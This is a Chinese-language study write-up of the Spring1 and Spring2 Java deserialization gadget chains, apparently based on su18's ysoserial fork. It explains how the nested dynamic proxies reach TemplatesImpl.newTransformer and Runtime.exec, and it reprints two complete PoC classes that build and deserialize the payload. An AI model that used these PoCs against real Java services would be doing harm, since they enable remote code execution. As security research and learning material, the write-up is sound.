Spring系列反序列化链

Spring1反序列化

前言

学完Spring反序列化链才感觉到挖出这条链的大佬有多恐怖,光看都给我看晕了,不多说直接开始。

pom.xml如下

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>

大致gadget chain,本文就分析到TemplatesImpl.newTransformer(),如果有地方分析的不对欢迎师傅们指出

/*
	Gadget chain:
		ObjectInputStream.readObject()
			SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
				SerializableTypeWrapper.TypeProvider(Proxy).getType()
					AnnotationInvocationHandler.invoke()
						HashMap.get()
				ReflectionUtils.findMethod()
				SerializableTypeWrapper.TypeProvider(Proxy).getType()
					AnnotationInvocationHandler.invoke()
						HashMap.get()
				ReflectionUtils.invokeMethod()
					Method.invoke()
						Templates(Proxy).newTransformer()
							AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
								ObjectFactory(Proxy).getObject()
									AnnotationInvocationHandler.invoke()
										HashMap.get()
								Method.invoke()
									TemplatesImpl.newTransformer()
										TemplatesImpl.getTransletInstance()
											TemplatesImpl.defineTransletClasses()
												TemplatesImpl.TransletClassLoader.defineClass()
													Pwner*(Javassist-generated).<static init>
														Runtime.exec()
 */

MethodInvokeTypeProvider

在 Spring 核心包中存在这样一个内部类:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider,这个类实现了 TypeProvider 接口,是一个可以被反序列化的类。

readObject代码如下,调用了ReflectionUtils.findMethod获取Method对象,调用invokeMethod执行方法。无参调用,如果可以调用到TemplatesImpl.newTransformer即可完成反序列化链了。

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
    inputStream.defaultReadObject();
    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

ObjectFactoryDelegatingInvocationHandler

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler类是实现了InvocationHandler和Serializable接口的一个类,invoke方法如下

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    String methodName = method.getName();
    if (methodName.equals("equals")) {
        return proxy == args[0];
    } else if (methodName.equals("hashCode")) {
        return System.identityHashCode(proxy);
    } else if (methodName.equals("toString")) {
        return this.objectFactory.toString();
    } else {
        try {
            return method.invoke(this.objectFactory.getObject(), args);
        } catch (InvocationTargetException var6) {
            throw var6.getTargetException();
        }
    }
}

反射调用了this.objectFactory.getObject()的method方法。

构造

这条链是比较复杂的,因为设计到了三个动态代理,我在看的时候给我绕晕了。这里我先给出su18师傅的poc

public class Spring1 {

	public static String fileName = "Spring1.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 使用 AnnotationInvocationHandler 动态代理
		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		HashMap<String, Object> map = new HashMap<>();
		map.put("getObject", tmpl);

		// 使用动态代理初始化 AnnotationInvocationHandler
		InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

		// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
		ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
				ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

		// ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
		// 并且会调用 method.invoke(返回值,args)
		// 此时返回值被我们使用动态代理改为了 TemplatesImpl
		// 接下来需要 method 是 newTransformer(),就可以触发调用链了
		Class<?>       clazz          = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
		Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
		ofdConstructor.setAccessible(true);
		// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
		InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

		// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
		// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
		// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
		// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
		Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{Type.class, Templates.class}, ofdHandler);


		// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
		HashMap<String, Object> map2 = new HashMap<>();
		map2.put("getType", typeTemplateProxy);

		InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

		Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
		// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
		Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{typeProviderClass}, newInvocationHandler);


		// 初始化 MethodInvokeTypeProvider
		Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
		Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
		cons.setAccessible(true);
		// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
		// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
		Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
		Field  field   = clazz2.getDeclaredField("methodName");
		field.setAccessible(true);
		field.set(objects, "newTransformer");

		SerializeUtil.writeObjectToFile(objects, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

我们最终是要执行到TeamplatesImpl的newTransformer方法,所以在invokeMethod方法中的method必须是要invokeMethod的Method对象,target必须是TeamplatesImpl对象

在readObject方法中,method是通过findMethod获取,其中第一个参数是Class对象,我们这里应该是TeamplatesImpl的class,第二个参数是this.methodName,只需要在构造方法中传入newTransformer即可

在su18师傅的poc中,他第一个参数传的是typeProviderProxy代理类,用的是newInvocationHandler,在调用this.provider.getType()的时候会调用到AnnotationInvocationHandler类的invoke方法,这个大家都很熟,动态代理,用AnnotationInvocationHandler的话他会返回memberValues中键为方法名的值,在这他返回的是另外一个代理类typeTemplateProxy

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        switch (var4) {
            case "toString":
                return this.toStringImpl();
            case "hashCode":
                return this.hashCodeImpl();
            case "annotationType":
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
        }
    }

刚刚说到在调用完getType方法后会返回typeTemplateProxy这个代理对象,他用了ObjectFactoryDelegatingInvocationHandler这个类做动态代理,具体的invoke方法也说了,就是通过反射去调用this.objectFactory.getObject()的方法,然后getClass获取的就是那个typeTemplateProxy代理对象的getClass的结果,但是有的师傅可能会问那这里调用完的结果是findMethod(typeTemplateProxy.getClass(),"newTransformer"),这样,没法获取到newTransformer的Method对象,这个其实在创建这个代理对象的时候就考虑到了,所以创建这个代理对象的时候第二个参数是new Class[]{Type.class, Templates.class},保证了他能获取到newTransformer的Method对象,也能被强转为 TypeProvider.getType() 的返回值。然后就是调用invokeMethod方法

image-20220821192647037

这里的target传进来的时候是this.provider.getType(),也就是上面说到的那个代理对象typeTemplateProxy,这里会去调用typeTemplateProxy.newTransformer,因为是代理对象,就调用ObjectFactoryDelegatingInvocationHandler类的invoke方法,invoke方法中又调用到了this.objectFactory.getObject(),这里的objectFactory又是一个代理对象,会去调用AnnotationInvocationHandler类的invoke方法,返回的是我们前面map.put("getObject", tmpl);中的tmpl,就是TemplatesImpl对象,然后在ObjectFactoryDelegatingInvocationHandler类的invoke方法中的return语句里返回Templates.newTransformer,这条链就差不多是这样,很绕,需要有java动态代理知识的基础才能看懂,涉及了三个动态代理对象,套中套中套啊。

Spring2反序列化

pom.xml

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>

JdkDynamicAopProxy

JdkDynamicAopProxy类在Spring2链中的地位就是ObjectFactoryDelegatingInvocationHandler类在Spring1链中的地位一样,这两个类都同时实现了InvocationHandler, Serializable接口。其中,ObjectFactoryDelegatingInvocationHandler类的invoke主要的就是在invokeMethod的中的method.invoke方法中被调用,JdkDynamicAopProxy也一样,但是他只需要两个动态代理对象即可。具体看代码。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Object oldProxy = null;
    boolean setProxyContext = false;
    TargetSource targetSource = this.advised.targetSource;
    Class<?> targetClass = null;
    Object target = null;

    Object var13;
    try {
        if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
            Boolean var18 = this.equals(args[0]);
            return var18;
        }

        if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
            Integer var17 = this.hashCode();
            return var17;
        }

        Object retVal;
        if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
            retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
            return retVal;
        }

        if (this.advised.exposeProxy) {
            oldProxy = AopContext.setCurrentProxy(proxy);
            setProxyContext = true;
        }

        target = targetSource.getTarget();
        if (target != null) {
            targetClass = target.getClass();
        }

        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
        if (chain.isEmpty()) {
            retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
        } else {
            MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
            retVal = invocation.proceed();
        }

        Class<?> returnType = method.getReturnType();
        if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
            retVal = proxy;
        } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
            throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
        }

        var13 = retVal;
    } finally {
        if (target != null && !targetSource.isStatic()) {
            targetSource.releaseTarget(target);
        }

        if (setProxyContext) {
            AopContext.setCurrentProxy(oldProxy);
        }

    }

    return var13;
}

主要位于target = targetSource.getTarget();处,targetSource是通过this.advised.targetSource赋值,this.advised在构造方法中是一个AdvisedSupport类的参数,AdvisedSupport类的targetSource属性是通过setTargetSource方法赋值

image-20220821201710464

然后在target = targetSource.getTarget()处给target赋值

image-20220821201953299

然后调用了AopUtils.invokeJoinpointUsingReflection(target, method, args);

public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {
    try {
        ReflectionUtils.makeAccessible(method);
        return method.invoke(target, args);
    } catch (InvocationTargetException var4) {
        throw var4.getTargetException();
    } catch (IllegalArgumentException var5) {
        throw new AopInvocationException("AOP configuration seems to be invalid: tried calling method [" + method + "] on target [" + target + "]", var5);
    } catch (IllegalAccessException var6) {
        throw new AopInvocationException("Could not access method [" + method + "]", var6);
    }
}

在这里就是调用了TemplatesImpl.newTransformer,具体的话理解了Spring1,来看Spring2就非常简单了。

poc还是拿的su18师傅的,因为我自己懒得打了哈哈哈,主要还是理解为主

public class Spring2 {

	public static String fileName = "Spring2.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 实例化 AdvisedSupport
		AdvisedSupport as = new AdvisedSupport();
		as.setTarget(tmpl);

		// 使用 AnnotationInvocationHandler 动态代理
		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl
		// 并且会调用 method.invoke(返回值,args)
		// 此时返回值被我们使用动态代理改为了 TemplatesImpl
		// 接下来需要 method 是 newTransformer(),就可以触发调用链了
		Class<?>       clazz          = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
		Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
		aopConstructor.setAccessible(true);
		// 使用 AdvisedSupport 实例化 JdkDynamicAopProxy
		InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);

		// JdkDynamicAopProxy 本身就是个 InvocationHandler
		// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
		// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
		// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
		Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{Type.class, Templates.class}, aopProxy);


		// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
		HashMap<String, Object> map2 = new HashMap<>();
		map2.put("getType", typeTemplateProxy);

		InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

		Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
		// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
		Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{typeProviderClass}, newInvocationHandler);


		// 初始化 MethodInvokeTypeProvider
		Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
		Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
		cons.setAccessible(true);
		// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
		// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
		Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
		Field  field   = clazz2.getDeclaredField("methodName");
		field.setAccessible(true);
		field.set(objects, "newTransformer");

		SerializeUtil.writeObjectToFile(objects, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

参考

感谢su18的师傅,给我学java安全相关的带来了很大的帮助。

https://su18.org/post/ysoserial-su18-3/#%E6%80%BB%E7%BB%93-5

https://github.com/su18/ysoserial/blob/master/src/main/java/org/su18/ysuserial/payloads/Spring1.java